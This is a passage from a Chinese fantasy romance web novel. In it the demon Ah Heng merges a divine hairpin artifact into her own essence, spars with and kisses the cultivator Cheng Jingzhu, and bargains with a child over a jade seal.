青娥站在门边不动,小山只好自己走进去:“小勤说过,原来天地间有混沌之气,九仪娘娘重开天地,让混沌之气分化出清与浊两种气,然后,有些飞禽走兽,虫鱼花木开始异化,成为精怪,精怪再修炼,可以成大妖,小勤他们一族也是因为九仪娘娘再造天地而有机会成为精怪,所以,他们无比敬重九仪娘娘。” 阿姮听了,仍盯着面前的神像。 她对九仪越来越好奇,她好奇,九仪到底是什么样的存在,让孟婆惦念,让天下所有的人类惦念,甚至连这些妖邪精怪,这些因她当年再造天地而意外异化的异类,也在一厢情愿地感念她的恩德。 这狼妖嘴上说玄门正道不如天衣神族,可他心中,却仍然对九仪存有希冀,狼妖当自己是祂的子民,祈求祂的拯救,可祂呢? 在祂心里,妖,精怪,到底是怎样的存在? 风雪灌入殿门,阿姮发间木簪上红山茶落下一瓣,轻飘飘地拂过神像的脸。 积玉在清风观的隐秘殿阁里发现了炼化用的鼎,那里面残留了很多的血气,他用了好多药箓也没有感应到一丝浊气。 这正说明,那些妖丹得来不正,而炼化术是一种不取妖丹直接将整个妖炼化的术法,这种术法很难,也很厉害,一般只用来对付那种作恶多端,冥顽不灵的妖邪,可清风观的这炼妖鼎,却葬送了不知多少妖怪的性命。 “这小小清风观……却有阴阳天罡阵,还有一尊炼妖鼎,我观这些弟子修行都还浅,他们怎么会有这样的能力?” 积玉在妖王殿中,曾以为黑就是黑,白就是白,可为什么山下的世界,妖邪不一定真的恶,而所谓正道也不一定真的正? 程净竹回想那最后一名道士临死前的情状:“这些弟子年轻,资历浅,他们未必知道这些事,妖丹珍贵,用炼妖鼎炼化的妖丹更珍贵,那清风观主却不吝于拿来做观中弟子的玉令,可见死在这清风观的妖怪不在少数。” 此道场分明不是道场,而是屠杀之地,是恶业之狱。 天色黑沉下来,风雪更重,暂阻路途,积玉用金剑在清风观后面挖了个大坑,和霖娘将那几十个道士的尸体给埋了。 积玉给小山和青娥吃了避风寒的药,霖娘忙活着给他们煮热汤。 夜里漆黑,这道观中的香火味令阿姮不太舒服,但不知道为什么,九仪殿里虽也有香火,但却并不会熏得她头晕脑胀,霖娘还在照顾小山和青娥,阿姮躲在这九仪殿里,躺在地上,用蒲团当枕头。 她一抬眼,就看到九仪神像的脸。 阿姮将万木春摘下来,红山茶娇艳欲滴,她的指腹摩挲着万木春焦黑的簪身。 “没有适合你的功法不要紧,当初九仪娘娘也什么都没有,她持万木春从一个凡女到成为天地之母,每一步,都是她自己悟出来的,本源之力玄妙无穷,只要你观察入微,或可自成一道。” 她想起小神仙的话。 再看那神像,她一手枕着脑袋:“你到底是怎么做到的?凡人明明那么脆弱,轻轻一碰壳子就会破,会流血,你到底是走了怎样的道,才成为天地之母?” 阿姮又看到那神像右手中的宝盒。 她实在好奇极了,干脆身化红雾,飞浮去那神像的右手边,宝盒打开,里面却是满满一盒子的……泥土? 红雾下落,化出人形。 阿姮歪着脑袋看神像。 什么意思?祂手里的盒子那么漂亮,怎么里面都是土?难道里面的好东西被偷了? 还是说,这清风观本就不是个老实的道场,所以他们偷工减料,也不是不可能。 阿姮也没心思猜了,她惦记着小神仙的那句“本源之力玄妙无穷”,即然无穷,那她是不是真的还有自己的路可以走? 她抓来一个蒲团打坐,试着将神志都凝聚在自己的丹田,内观自己的本源是如何流转,她看着那些闪烁的莹光融融地流向自己的四肢百骸,她感受到那种隐隐的炽热。 莹光的走势千变万化,她沉心静气,逼自己去看清每一缕的走势,她用尽自己这辈子最大的耐心,久久地观察,终于那万千变化的莹光中找到一缕异于其它的流光,她发现,每当她调动本源,那一缕莹光最随她意,最快,快得像闪电,几乎可以顷刻外化为她的力量。 但她抓不住它,它不那么听话。 阿姮开始有些烦乱,眉头一下皱起来。 “小小年纪,就是容易心急。” 忽然,她听到一道含笑的声音,那是一个女子的声音。 阿姮骤然睁眼,殿中烛火如簇,神像垂眸,岿然不动。 “不过,你能这么快找到你那千丝万缕的本源中梳理出来最特殊的东西,已经是不简单了。” 那声音又说话了。 阿姮手握万木春,这一次,她可以确定,这声音是从万木春中传出来的。 “……万木春?” 阿姮将它看了又看:“你会说人话,却到今日才开这个口,怎么?你从前是个哑巴神物?” 阿姮的嘴简直淬了乌桕子毒。 万木春散发淡淡金光,那女声听起来却根本不恼:“这世上的清气,浊气,都不是你的道。” “哦,所以呢?” 阿姮说。 “所以,那些道对你来说都是狗屁,你不必为此而遗憾,你自己的道,才是真正的道。” 阿姮愣了一下。 不是……没有听错吧? 神物说脏话? “闭上眼睛,内观丹田。” 神物又说话了。 阿姮将信将疑,却还是闭起眼睛。 这一瞬,她手中的万木春化为金色的电光钻入了她的躯壳,阿姮凝聚神志,金电所过之处,她感受到微微的麻。 “你不是可以让金电随你幻化了吗?知道怎么做?” 那声音说道。 阿姮一瞬明白过来,她立即操控金电,再丹田之中千丝万缕的本源之中寻找那一丝特殊的红色莹光。 这无异于是在自己的识海之中大战一场。 她久久地在识海之中与自己的本源纠缠,被它们包裹,被它们缠绕,她放出金电,和它们争,和它们斗,好像那是无数个她自己。 它们会化成她的模样,无数个她,一遍遍幻化,一遍遍迷惑她,要她相信,她根本无法获得更强的力量,根本找不到那一条所谓的道。 怎么可能呢? 小神仙说有。 万木春也说有。 最重要的是,她自己也觉得应该有。 她操控金电在她的丹田里爆裂,烧成金色的焰光,熊熊的烈焰吞噬掉那些丧气的声音,怀疑的声音。 她在那片哀鸣中岿然不动地凝视。 很久,很久。 千万缕惊慌失措的莹光中,有一缕在急急地跳跃,所有的莹光后退,躲避那些灼灼燃烧的烈焰,只有它扑向前去,迸发的光芒竟然强过烈焰。 哪怕绝路在前,它绝不怯懦,尽显锋芒。 “找到你了……” 阿姮猛然一念动,燃烧的烈焰化为金电,将那一缕莹光紧紧捆缚。 阿姮浑身痛得剧烈,那种痛是自丹田而来,传遍四肢百骸的灼烧之痛,她觉得自己这副水做的壳子都被烧沸了。 “你竟然不惜用这种自伤的办法,你不怕烧毁自己的丹田?” 那声音讶异。 阿姮痛到这声音一响,她耳心便像被撕裂一样痛,她维持不住打坐的姿势,整个人倒下去,冰凉的地砖也难缓解她全身的灼烧之痛,她的丹田仿佛烧成了火海。 但她的神念仍然操控着金电紧紧束缚那缕莹光。 金电一寸,一寸地剖开莹光,钻进去。 阿姮浑身更痛,她觉得自己若是一个人类,骨与肉,都要被这烈火烧化,烧得连灰都留不下。 金电越往那莹光里钻,她便越是痛。 “那是真正属于我的东西……” 阿姮痛到在地上翻来覆去,她艰难地出声,“我要抓住它,不惜一切……抓住它。” 这个世上,没有多少真正属于她的东西。 人类的心脏,不是她的。 天地之间的清气,浊气,都不是她的。 她不知道自己为什么生,但既然存在,她总要抓住一些属于自己的东西。 那声音过了很久,才又响起:“这是第一步,你迈出去,便没有回头路,时辰尚早,你还有的熬。” 阿姮才不回头。 她努力地保持着神志,强逼自己内观丹田,让金电与那一缕莹光一点一点地融合。 阿姮几乎在整个九仪大殿中来回滚了几遍。 那些疼痛好似漫无止境,她一点一点地捱,一点一点地忍,忍到架上烛火渐短,忍到殿中光影渐弱。 不知过了多久,阿姮躺在地上,发髻早已散下,一头乌浓的长发凌乱极了,她缓缓地睁开眼,窗缝外,天色似乎不那么浓黑了。 它的颜色在慢慢转淡。 这意味着,天快要亮了。 阿姮坐起身来,凝望窗缝,片刻,她垂下眼帘,看向自己的右手,金电闪烁在她掌心,混合她的红云烈焰,漂亮极了。 她闭眼内观,丹田之中那一缕莹光饱含金电,电光滋滋跳跃,其它所有的莹光都在为它而雀跃。 万木春,真正融入她的本源了。 “喂,如今,我是你真正的新主人了。” 阿姮说道。 但却没有得到任何回应。 阿姮才不管它。 她把握住了那一缕最精纯的本源,往后若以它为媒介,再一点点贯通所有本源,必然可以彻底打通这一条她给自己找的修行之道。 万木春亦会随着她的本源之力不断增强而变得更强。 阿姮起身,推开殿门出去,一夜之间,清风观已经覆盖了一层厚厚的积雪,阿姮踩雪下阶,四周静悄悄的,只有风声呼啸。 阿姮却看到一道身影。 雪上,他安静独行。 阿姮盯着他,身影骤然化为红雾,穿风过雪,迅疾地逼向他后背,少年反应十分敏锐,红雾扑来的刹那,他立即侧身一避抽出法绳,阿姮凝出身形,抓住他挥来的法绳,笑盈盈道:“小神仙,和我交手试试吧?” 说着,她的身影模糊,再度化为红雾。 而那红雾中,金电如缕,闪烁凛光。 程净竹手腕一转,银亮的法绳挥向红雾,雾气刹那飞散,金电却缠绕他法绳,滋滋作响,阿姮的身形显现,万木春在她手中乍现,焦黑的枝尖直逼程净竹的咽喉。 程净竹侧身,万木春枝尖擦他衣襟而过,他手中法绳精准地缠住那焦枝,法绳上银鳞瞬间展开缝里的棱角,撕碎金电。 阿姮立即用力想要抽出万木春,程净竹亦用力拽住那银尾法绳,万木春像是被一尾蛇紧紧缠绕,脱不开身。 阿姮却不恼,手指一勾,万木春瞬间化为道道金电,她身若流云瞬间近了他身,缠裹金电的红云朝他扑去,凛风拂面,程净竹眉峰不动,却飞身跃起,一身剔透珠饰发出水滴般的清音。 红雾立即追逐他的身影,拂过殿宇屋檐,灰暗的天幕之下,飞雪正浓,金红色与银亮的光时时照彻天边,或分散,或纠缠。 金红色的光总是不肯放过那团银亮的光,一定要追逐,一定要纠缠,锋芒毕露却又十分的缠绵。 哪怕那银光实在冷冽,无比的凌厉,金红色的光亦乐此不疲地缠上去,忽然之间,金色的电光从那团暗红的雾气里隐去,红光凝滞,震颤,毫无预兆地下坠。 凛冽的风呼啸着,程净竹回过头,只见那一团红雾不断地坠下去,风快要将那团暗红的颜色吹散,程净竹立即从云端跃下,俯身追去。 风声不断掠过他耳边。 银尾法绳迅若闪电,飞快地卷起那红雾,程净竹伸手要连其与法绳一同收来,淡淡的雾气却忽然凝聚,化成浓郁的红,金电在其中闪烁着,刹那,凝出阿姮的身影,她一把抓住他伸来的手。 程净竹脸色微变,却已来不及,他目睹她得逞的笑容,被她那只冰冷的手拽入茫茫雪海之中。 雪浪翻飞,阿姮坠在这片雪地里,她凝视着面前的这个黑衣少年,双臂环绕在他的脖颈,笑着说:“小神仙,你担心我啊?” 程净竹脸色阴沉,抓来她一只手,目光落在她掌心未消的红云烈焰,那其中金电缠裹,金光耀耀:“万木春融入了你的本源。” “对啊,我是不是很厉害?” 阿姮反抓住他的手,说:“我早就想驯服它,从今以后,它只会是我的东西了。” 程净竹挣开她,拧着眉往后退去:“即便你将它化入你的本源,若你本心与它相异,将来,它也还是不能成为你的助力,或许还会……” 阿姮掌翻烈焰,朝他肩膀攻去,程净竹声音戛然而止,迅速截住她的手掌,阿姮却一下抱住他腰身,翻身将他按到雪地里。 晶莹的雪花沾上他银灰色的发,他的眉头拧得更紧,浓密的眼睫瞬间抬起来,那样一双向来波澜不兴的眼睛似乎有了些火气,他生气了。 阿姮却并不是一个见好就收的妖邪,她用自己这副柔若无骨的壳子纠缠他,始终不肯松开他,两人在雪地里翻来覆去,阿姮将自己会的拳脚功夫全都用上了,原本平整厚重的雪地出现了一个大大的雪坑。 “小神仙!谁准你作弊!” 阿姮瞪着自己手指间的那颗霞珠,她手脚都被金光束缚,气得大叫。 程净竹双膝都陷在雪里,有了霞珠的禁制,他终于腾出了手,不再按住她肩膀,他薄薄的眼皮微垂,一身黑衣被阿姮纠缠得松散凌乱,里面那层白色的衣襟也不知是被融化的雪,还是他颈项间流下的汗而微微洇湿。 他落在她脸上的目光,似乎比这冬雪还要严寒:“得寸进尺。” 阿姮躺在雪里,她身上阴寒,雪落在她身上也不会融化,她绯红的裙摆被风吹得飞扬,脚上的绣鞋早不知蹬到哪里去了,她明明听懂那四个字的含义,却忽然收敛了她的恼怒,她手脚被束,却缓缓直起身来,靠近他,忽然说:“我知道你方才想说什么。” 程净竹一顿,凝视她。 阿姮将脸颊贴上他的胸膛,透过他的衣襟,他的皮囊,她似乎听到那颗心脏跳动的声音:“九仪想杀我。” “在赤戎时,万木春布下天罗地网要我死,但不知为什么,它又不然不杀我了,就算你不说,我也知道,万木春跟着我,根本不是什么认主,它从来没有承认过我,只要我稍有不慎,或许,它就会杀了我。” 程净竹眼中神光微动。 阿姮扬起脸,缓缓道:“小神仙,你或许并不了解我们这样的妖邪,万木春是很危险,可是越危险的东西,我就越是想要摆弄,我不知道九仪想干什么,但既然祂给了我机会,让我可以操控祂的东西,那我……就一定要让祂的东西变成我的东西。” “我是个妖邪,不是个傻子,”阿姮与他相视,“我想了很久,有一句话我实在很想问你。” “什么?” “你为什么去赤戎?”阿姮说道,“赤戎不是那么好去的地方,天上的神仙都去不了,你却可以,我总觉得你不是为天衣人去的,可若不是为他们去的,那你会不会是……” 风雪弥漫,呼啸不止。 程净竹面无表情,他巨高临下,以至于垂下的眼眸不映天光,十分的晦暗:“是什么?” “会不会是为了我啊?” 阿姮补全了完整的一句话。 程净竹的神情似乎僵硬了一瞬。 阿姮却继续说道:“我一直在想,当初那个元真夫人应该发现我了吧?是你遮掩了过去吗?为什么?” 她说:“小神仙,我昨天晚上把自己丹田给烧了,识海也差点烧穿,我最疼最疼的那个时候,却想起你,想你为什么救我,为什么明知道我喜欢你的心脏,你也还是把我带在身边,你总是让我很烦恼,烦恼自己为什么看不透你,不知道你在想什么。” 程净竹冷声道:“你根本没有必要想这些,还有,自伤的办法可以冒险用一次,但两次三次,你也不能保证你会不会因此而道行尽毁,所以,你最好不要再用那些极端的手段。” “我说了,” 阿姮望着他,她发现点点细雪落在他肩,却根本没有融化,他的金身可以抵御这世间所有的风霜雨雪,他永远如此衣洁宝饰,姿仪端严,“我不是傻子,我还没有见识完你们人类的这个世界,怎么舍得死呢?” 阿姮的目光越过眼前的少年,看向这片林子,寒雾漫漫,如簇的红梅含苞待放,阿姮周身的红雾缠裹缕缕金电散向四方,林中枝叶随风颤动,朵朵红梅骤然绽放。 地上的积雪也在隐隐震动。 很快,原本掩藏在雪下,凋枯的花草突破层层桎梏,尽情地绽放它们的颜色,它们的生机。 丛丛花草开满雪野,也将阿姮与程净竹围裹其中。 白雪春花,共存此间。 “万木春成为我的东西,还是很有好处的,”阿姮望向眼前这片生机勃勃的奇景,“这个世界还是要有这么多的颜色才好看。” “我很喜欢这些颜色,”天还没有变得明亮,阿姮的眼睛里满是色彩,她忽然转过脸来,目光顺着这少年修士的眉眼,缓缓移到他的鼻梁,再到他的嘴唇,他的唇形很漂亮,颜色淡淡的,“也好喜欢你。” 风声好似在耳边减淡。 阿姮觉得自己好像说了什么十恶不赦的话,她没有心思想自己成语到底有没有用对,她很难形容他的神情。 就好像她说的根本不是什么好话,而是在对着他骂脏话。 他那么漂亮清透的眸子死死盯住她,有一瞬间,他的神光凝滞,风雪拂来,动他衣摆,他的眼睫震颤,忽然,他动了,一只手扼住她的颈项,却没有很用力,仿佛只是借由这个动作,好让她更近,让他更清楚地辨别她的神情。 他凝视着她的脸,像是有很多的情绪在他眼睛里,阿姮辨别不清,只觉得他的眼眸清波漾漾,很久,他发出声音: “你会明白什么是喜欢?” “就像喜欢这些颜色,”阿姮觉得他的手掌很暖,她不挣脱,却更近地凑过去,目光始终凝在他的唇,“我喜欢你的心脏,喜欢你的血,我本来很讨厌药的味道,但是你身上的我却一点也不讨厌,小神仙,给我一点奖励吧,好吗?” 喜欢颜色,喜欢他的血,他的心脏,对她来说都是一种欲望,一种令人欢欣的欲望,也许人类对喜欢的定义有很多种,但阿姮分不清楚,她只是怎么想,就怎么办。 程净竹忽然松开她的脖颈,竟有几分惊慌失措的意味。 他的耳廓红透了。 “小神仙,这次我不要你的血。” 阿姮乌浓的,微微卷曲的发尾轻擦积雪,她越靠越近,鼻尖几乎轻擦他的,她声音很轻,像隐秘的耳语: “我想亲你。” 第60章 第60章 “那你说,对我,你到底有没…… 风雪严寒, 春花遍地。 阿姮双膝陷在雪里,眼睫垂下,唇几乎要碰到他的,刹那间, 他的手忽然钳住她的脸, 力道不算轻, 阿姮的脸颊都有点变形,她眨眨眼睛,望着他笑:“在万艳山的幻境里, 你曾亲过我, 那时你的脸也这样红, 你说你的戒痕之所以流血, 是因为你犯了色欲,后来我想, 幻境虽是璇红所造, 可若你本来无欲,那幻境又如何能引诱得了你?小神仙, 这是否说明, 你本有欲?” “即便你修成金身, 也一样戒除不了你的欲, 既然如此, 你成全我,不好吗?我又没有要你的血……”阿姮的声音轻缓,好似诱引, 她说着,不顾他的钳制再度倾身向前,风雪呼啸, 天色晦暗,她的眼睛闪动暗红的光影,程净竹立即并起双指结出金印,阿姮身上的金芒顿时收束更紧,他后退起身,阿姮整个身躯没有支撑,一头栽入雪里。 冰冷的雪包裹阿姮满头满脸,此时,她听见那少年修士清如玉磬般的声音:“我从不否认我有欲,世人皆有欲,修行可以克欲,却不能断欲,这世上没有人可以真正做到断欲,就连天上的神仙也不能,我并不以此为耻。” 阿姮愤愤抬起脸来,她鼻尖,睫毛都沾了雪:“那你说,对我,你到底有没有欲?你若有,为什么对你自己那样吝啬,对我,也好吝啬,我要你的血,你不肯,我要亲你,你也不肯,我想了想,你唯一对我大方的时候,是你那天让我掏你的心脏,我是不是错过了你对我最慷慨的馈赠?” 她看起来好狼狈,头发,脸颊,都是雪。 那样一双暗红的眸子,充满着疑惑。 雪野之上,尽是娇艳春花,程净竹上前两步,蹲下去,垂眸凝视她那张苍白艳丽的脸,说:“你再也没有那样的机会了。” 阿姮却是一笑:“我有过机会吗?你那天,是真心想给我你的心脏吗?小神仙,你是个骗子。” 程净竹不说话,阿姮却将其当成默认。 程净竹不欲与她再多说什么,正要起身,阿姮被金芒束缚住的双手却在此时飞快结出一道与他方才如出一辙的金印,缠裹点滴金电的红雾弥漫,金芒化成的束缚骤然消散,她双手解脱,立即环住程净竹的颈项,仰起脸吻上他的嘴唇。 程净竹眼睫一动,他立即按住阿姮的肩,唇上顿时传来刺痛,他脊背僵硬,细雪纷纷扬扬,阿姮一手攥住他胸前冰冷的宝珠,清音胡乱碰撞,她的舌尖轻轻掠过他唇上的伤口,贪婪地吮舐着芳香的血气。 程净竹周身金芒涌动,阿姮却十分及时地退开数步,强烈的罡风席卷四周,红梅春花瓣瓣飞舞,程净竹抬手结起气势凌厉的金印,却盯着阿姮片刻,呼吸从急到缓,下颌紧绷,忍了又忍,他缓缓握起手掌,捏碎金印,手背擦过唇边,他垂眸,看到手背上沾染的一点血迹。 阿姮则看着他唇上浸血的伤口,目光带着几分可惜,却露出笑容:“我也是个骗子,我是真心想要亲你,但亲都亲了,总要顺便再讨点好处,这不怪我,是你对我太吝啬了。” 本源之力玄妙无穷。 阿姮如今才将将参悟出一点点门道来,却已经使自己的力量得到了一些提升,她故意激他再结金印,便是为了看清他使用霞珠的结印法门,然后一举破除霞珠对她的束缚。 程净竹面无表情。 阿姮得意洋洋,立即便要站起身来,周身却“轰”的一声冒出熊熊烈焰,她吓了一跳:“这是怎么回事!积玉……” 阿姮四下一望,这片红梅林中根本没有积玉的身影:“积玉根本不在这儿,我又没有离他很近,怎么会咒术发作……” “你是很聪明,”寒风吹拂程净竹黑色的衣摆,他腰间法绳上的珠饰荡出阵阵清音,“可霞珠本就不是用来对付你的东西,我却从没说过这火焰咒术只能用来防备你靠近积玉,它的用处很多,且随我意念而动,根本不用结印。” 阿姮气得大叫:“你!诡计多端,老奸巨猾,老谋深算,狡……狡兔三窟!” 阿姮用尽毕生所学地骂,也没心思管到底用没用对。 程净竹转过身,踩雪而去,弥漫的风雪迎面而来,他抬眼,远处清风观的轮廓隽永如墨,阿姮气急败坏的声音还在身后,他唇边浮出清淡的笑意。 阿姮被烈焰缠身,热得厉害,只好在雪地里来回滚了几圈,周遭的雪全部都融化成了水,她身上的烈焰忽然消失了,她一下坐起身来,头发,衣裙,全都湿答答的,抬起脸,那黑衣少年的背影几乎快要融入风雪之中。 他竟然捉弄她! 阿姮气得不轻,抹了一把脸上的雪水,起来便追着那道颀长的背影而去。 两人一前一后回到清风观中,阿姮虽然生气,却老实了很多,她还没摸透程净竹的火焰咒术到底有多少用处,做妖邪,要能屈能伸,反正……阿姮偷偷瞥一眼程净竹下唇的伤口,心情忽然好了那么一点点。 反正,她已经从这个吝啬的小神仙身上讨到了一点她想要的好处。 此时天色明亮了许多,阿姮眼中的颜色逐渐褪去,她放眼一望,却不见积玉与霖娘,只有那个双眼缠着布条的少女立在九仪殿门外,她面对门内,冷风不断吹拂着她的衣摆,她却纹丝不动。 似乎是听到了越来越近的步履声,她微微侧过脸来。 程净竹走上石阶,瞥一眼殿门内,只有一个小山在里面,跪在蒲团上,嘴里小声念着些什么,又虔诚地叩头。 “他们呢?” 程净竹看向青娥。 青娥听到他的声音,判断出了他是谁,便立即说道:“积玉仙长和霖娘姐姐发现你们不在,便出去寻你们了。” 阿姮臭着脸,往阶上走来。 程净竹回头瞥见她裙摆底下一双赤足:“鞋子呢?” 阿姮“哼”了一声,凶巴巴道:“不知道!” 她说着,绕过他,大步往里面去。 小山还在蒲团上叩拜,阿姮不知道他这么小一个孩子哪里来的那么多话要对神说,她抬起头,看向那九仪神像,此时,她的目光又在九仪左手的流云,右手的宝盒间来回,那只宝盒被她打开过,此时殿门外面一阵强风吹来,神像手中残留的尘泥簌簌而落,小山猝不及防,被尘灰一呛,立即打了个大大的喷嚏。 他揉了揉鼻子,抬头发现神像右手似乎沾了好多的尘灰,他站起来:“臭道观,连娘娘的手都不给擦干净!” 阿姮拧了拧衣袖里浸的雪水:“真不好意思,那是我干的。” 小山一下转过脸来,望着她,眼睛睁得大大的。 阿姮却一点也不心虚,指了指九仪神像右手中的宝盒:“我还以为里面装着什么好东西,结果就是一盒泥。” 她原本觉得,里面的东西也许被人偷盗了。 又或者清风观根本就是在随便糊弄。 但如今,她却忽然觉得,也许里面,本来就是泥。 小山年纪小,关于九仪娘娘的传说他听过很多,但他并不知道为什么九仪娘娘的神像要托着个宝盒,他疑惑地扬起头:“里面为什么装着泥呢?” “左手流云,即为天,右手尘泥,即为地。” 程净竹的声音从殿外传来,阿姮与小山同时回过头去,外面飞雪漫天,他黑衣如墨,眼帘轻抬,注视着殿内的神像,道:“世人常以云泥形容人与人之间巨大的差别,论高下,论尊卑,但在九仪娘娘眼中,云与泥,即是天与地,它们同样重要。” 同样重要。 阿姮眸光微动,她想到方才那片林子里的红梅,想到那些破开积雪凌寒盛放的春花,它们的根茎都在泥土之中。 看似肮脏的尘泥,却赋予它们生命,给予它们缤纷的色彩,勃勃生机。 “那人与妖也可以一样重要吗?” 阿姮忽然说道。 “本就一样重要。” 程净竹说道。 此时,外面踩雪的声音近了,很快,霖娘和积玉便跨上阶来,积玉掸了掸肩上的雪,气喘吁吁:“小师叔,你们方才去哪……” 说着,积玉的目光忽然凝在程净竹嘴唇上一点鲜红的血痂,他声音一顿,立即问道:“您这是怎么了?” 积玉疑惑地指了指自己的嘴巴。 阿姮闻言,慢慢悠悠看向程净竹。 “没什么。” 程净竹惜字如金:“该走了。” 积玉看程净竹转身便走,他也没法多问,立即唤来小山,背着他便追上去,霖娘拉住青娥,见阿姮从里面走出来,她一边下阶,一边凑过去,压低声音:“哎,你们两个……” 阿姮看她一眼,没说话。 霖娘哪里有什么不明白的,她想笑,却看了眼前面的积玉,只得生生忍下,又叮嘱阿姮:“积玉要是知道了肯定跳脚,他本来就一直严防死守,生怕你坏了他小师叔的清白,你小心点,若是被他发现,他肯定没完没了。” “他又打不过我。” 阿姮满不在乎。 霖娘还想说些什么,但碍于青娥在,她也只能憋到肚子里,阿姮却看了一眼青娥,她总是很安静,红布遮住了她的眼睛,也使得她的情绪一点也不外露。 但阿姮想起方才的云泥之说,那时,她余光似乎瞥见青娥唇边似乎带了点笑意,那笑,很莫名其妙。 此地距离岐山还很有一段距离,小山虽用过积玉给的药,但路上还是吃了风,咳嗽起来,几人不能御风,走到黄昏,才遇见一个村落。 积玉找到一户人家暂作休整,这里买不到药材,他便跑去山林里采来草药给小山煎药,小山精神有些不好,用热水擦洗过身体,又换上村人给的干净衣裳,却根本不肯躺下。 “小山,你需要休息。” 霖娘看他坐在床上,双手攥着被子,低着脑袋不说话,霖娘便又说道:“这间屋子这么暖和,你先躺下,一会儿吃了药,好好的睡上一觉,醒来定然精神百倍。” 此时,积玉端着药碗进来:“小山,吃了我的药,我保管你药到病除。” 小山抬起头,看到那碗药离他越来越近,很快,积玉到了床前,将药碗递给霖娘,霖娘要喂他喝药,小山却抿紧嘴唇。 “小山?” 霖娘唤他。 小山的手指不安地抠着被角:“霖娘姐姐,积玉哥哥,你们是不是要丢下我了?” 霖娘和积玉闻言,不由相视一眼。 积玉率先说道:“岐山妖孽众多,惠山元君下界至今仍未清除所有祸患,可见那里十分的危险,那里不是你该去的地方。” “可我要找小勤!” 小山激动起来:“我一定要去找小勤!我娘被臭道士蒙骗,死也死得不安,我娘对不起小勤,我也对不起小勤……” 提起那个他连见也没见过的清风观道士,小山情绪十分激烈:“我要找到那个臭道士!” 阿姮靠在门边,闻声望去,只见那个十岁孩童一双圆圆的眼睛熬得很红,大概他昨夜根本就没有睡,而是一直保持着警惕,生怕他们将他丢下。 阿姮的目光忽然停在小山的胸前,他换过了衣裳,之前一直藏在衣襟里的一样东西现在露了出来,此时天色已经有些暗了,她这双眼睛看到那枚用红绳穿起来的玉章,屋中只有一点烛火,他那枚玉章剔透若冰,光彩清莹。 霖娘见小山猛烈地咳嗽起来,便连忙拍了拍他的后背,小山却抓住霖娘的手,说:“你们带着我走吧,我会打鸟,还会,还会抓鱼!我还会烤鱼给你们吃!” 积玉有点头疼,小山有一双水汪汪的大眼睛,看起来实在惹人怜,但他还是摇了摇头,道:“我可以答应你,我们会帮你找你的朋友,但你绝对不能去岐山,我已经和这户人家说好了,他们会收留你们。” 小山一下看向霖娘:“姐姐……” 霖娘有些不忍,但还是说道:“小山,你太小了,你不知道岐山意味着什么,那里很危险,你不能去,我们会帮你找小勤的。” 小山一下没有了声音。 他的眼睛暗淡下去。 他明白了,无论如何,他们都不会答应他。 可是这条路他已经走了很久很久了,为了娘,为了小勤,他不可以回头的,他不敢把找到小勤的希望放在任何人身上,他必须要自己找到小勤。 但小山知道,他们并不是普通人,如果跟着他们,他一定能顺利找到岐山去。 可他们谁也不愿意带上他。 “你们找不到小勤的,他的触角只有在我手里才会发光,我把触角给你们,你们也找不到他……” 小山的眼睛慢慢湿润起来。 他的目光越过霖娘与积玉,看向坐在桌边的程净竹,那个仙长好像一直都是那样,脸上没有什么表情,哪怕他磨破嘴皮子,他也一直不为所动。 但小山忽然看向靠在门边的阿姮。 她也在看他。 小山奔下床,跑到她面前:“姐姐,阿姮姐姐,你也不愿意带着我吗?” 阿姮双手抱臂:“我不带你,你就不去岐山了?” “那我也要去。” 小山说道。 “哦,”阿姮对上他那双盛满希冀的眼睛,这个小孩儿实在鬼灵精,一眼就看出来谁的态度最不明朗,不明朗,便有希望,但阿姮其实并不愿意做他的希望,如果,她没有看到他脖子上那枚玉章的话,“可我和他们不一样,我是妖邪,没那么好说话。” 阿姮故意语气诡谲。 小山瑟缩了一下脖子,却还是没有退缩:“没关系,我觉得你是好妖……对吧?阿姮姐姐,你如果肯带我一起去岐山,我什么都答应你,真的!” 阿姮笑了一下:“那如果,我要你脖子上的东西,你肯吗?” 小山一下低头,他意识到阿姮看上了什么,一只手立即捏住那枚玉章,他脸上显出迟疑之色。 “不愿意?那算了。”阿姮说道。 “没有!” 小山一下将玉摘下来,连忙塞到她手里:“阿姮姐姐,你……你要说话算话!” 阿姮如愿以偿拿到了东西,她的眼睛弯起来。 “阿姮姑娘,岐山很危险,他不能去!” 积玉皱起眉头。 阿姮才不理他,高高兴兴地捏着玉章玩儿。 此时,门外一老妪唤道:“仙长?程仙长?” 坐在桌边的程净竹放下茶碗,起身越过阿姮出门去,那老妪佝偻着身子,对他说道:“热水好了,东西也放到对面屋子里了。” “多谢。” 程净竹从荷包里取了碎银给她。 老妪笑眯眯地接过,对阿姮招了招手:“快来,姑娘。” 阿姮不明所以,直到程净竹看向她,说:“跟着她去。” 阿姮才不想听他的,但见他双指微并,阿姮脸色一变,立即想起那火焰咒术,她心里暗骂,气鼓鼓地跟着老妪去了。 小山还有些不放心,在后头喊:“阿姮姐姐,你真的答应我了吧?” “放心。” 阿姮没回头,懒洋洋道。 跟着老妪进了对面的屋子里,阿姮便见到一只浴桶,浴桶里盛满了热水,热烟弥漫,浴桶边有一个小板凳,板凳面前放着个木盆,盆里也是热水。 一边简陋的桌上,则是一套棉布衫裙,还有一双绣着红山茶花的绣鞋。 阿姮愣了一下。 那老妪将干净的帕子拿来,看向阿姮那双一路行来脏兮兮的脚,说:“姑娘,这衣裙是隔壁老李家姑娘新做的,还没有穿过,这绣鞋也是老身去找咱村儿绣活儿最好的张家媳妇儿买的,仙长说,不好看的鞋子你不肯穿,我在她那儿挑了好久……” 老妪说着笑了声,拿起来那双绣鞋,又继续道:“你快看看这双你喜不喜欢,要是不喜欢,我这就去找张家媳妇儿!” 阿姮接来那双鞋子,红色的山茶花艳丽极了,每一瓣都很漂亮,阿姮没说话,嘴角却扬起来。 老妪絮絮叨叨的,阿姮却一点没有不耐烦,她听老妪的话,洗干净了脚,又钻到浴桶里洗澡,头发被她弄得湿哒哒的,换上那身干净的棉布衫裙,她打开门,外面已经黑透了,她一眼便看见阶下,那黑衣少年站在雪里。 阿姮几步走下去,漂亮的绣鞋踩踏积雪,发出沙沙的声音,她站到他身边,抬起下巴,说:“我原谅你了。” 夜晚风重,少年转过脸来。 明明白天气得要死,简直想将他变成傀儡娃娃揉圆搓扁,但经过之前那一回,他不可能没有防备,阿姮一直在琢磨着怎么回敬,但此刻,她望着他那双剔透清润的眼睛,有点别别扭扭地说:“我是看在你给我买了新鞋子的份上,但是这件衣裙我不喜欢,料子不好,颜色也不好看。” 程净竹的目光掠过她湿润的脸颊,鬓边几缕浅发还粘在她耳垂边:“少挑剔。” 阿姮“哼”了一声。 